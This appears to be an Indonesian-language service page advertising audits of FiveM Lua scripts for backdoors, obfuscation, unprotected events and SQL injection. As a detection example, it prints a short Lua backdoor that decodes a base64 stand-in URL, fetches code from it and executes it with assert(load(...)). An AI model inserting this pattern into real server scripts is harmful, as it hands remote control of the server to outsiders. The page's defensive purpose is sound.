Audit Integritas Script Lua & Resource FiveM
GRAFIKJITU menyediakan modul audit kode script Lua untuk memverifikasi kebersihan resource server FiveM dari backdoor, cipher injektor tersembunyi, dan celah eksploitasi logika. Di ekosistem FiveM saat ini, banyak server menggunakan script pihak ketiga yang tidak diverifikasi secara menyeluruh, membuka peluang bagi pihak tak bertanggung jawab untuk menyusupkan akses konsol ilegal ke dalam mesin server Anda.
Deteksi Cipher & Obfuscation
Pemindaian otomatis terhadap string biner, eval bytecode terenkripsi, dan pola decoding `assert(load(...))` yang kerap digunakan untuk menyembunyikan backdoor.
Validasi Checksum Hash
Pembuatan hash fingerprint digital untuk setiap resource script Lua guna memastikan integritas berkas tidak pernah diubah secara diam-diam oleh pihak luar.
Audit Server Events (TriggerEvent)
Pemeriksaan ketat terhadap registrasi remote event client-to-server agar tidak ada handler tak terlindungi yang bisa ditembak seenaknya oleh pengguna mod menu.
Sanitasi Kueri SQL Basis Data
Pencegahan SQL Injection pada framework QBCore, ESX Legacy, maupun standalone script melalui validasi parameterized queries OxMySQL yang aman.
Bahaya Nyata Backdoor Tersembunyi Pada Script FiveM
Modus operandi peretas server FiveM sering kali melibatkan pembagian resource "gratis" atau "leaked" di forum komunitas. Script-script ini kerap kali ditanami kode *webhook sniffer* atau *remote execution backdoor*. Contoh pola kode mencurigakan yang langsung diidentifikasi oleh GRAFIKJITU:
local _c = "aHR0cHM6Ly9tYWxpY2lvdXMtd2ViaG9vay5jb20vYXBp"
PerformHttpRequest(decode(_c), function(err, text, headers)
assert(load(text))() -- [ALERT FSI]: Eksekusi kode asing dinamis!
end)
Langkah Evaluasi Integritas Kode FSI
1. Scanning Manifest: Memverifikasi kesesuaian antara file yang didaftarkan pada `fxmanifest.lua` dengan file fisik di dalam folder resource untuk mencegah adanya script hantu (ghost script).
2. Static Code Analysis (SCA): Menelaah ribuan baris kode Lua untuk memetakan alur logika otorisasi command admin (`RegisterCommand`) dan event transfer mata uang (`bank:transfer`, `inventory:addItem`).
3. Database Query Profiling: Memastikan seluruh eksekusi database menggunakan sanitasi nilai masukan dan tidak menggunakan penggabungan string langsung (`concatenation`) yang rawan disisipi sintaks SQL jahat.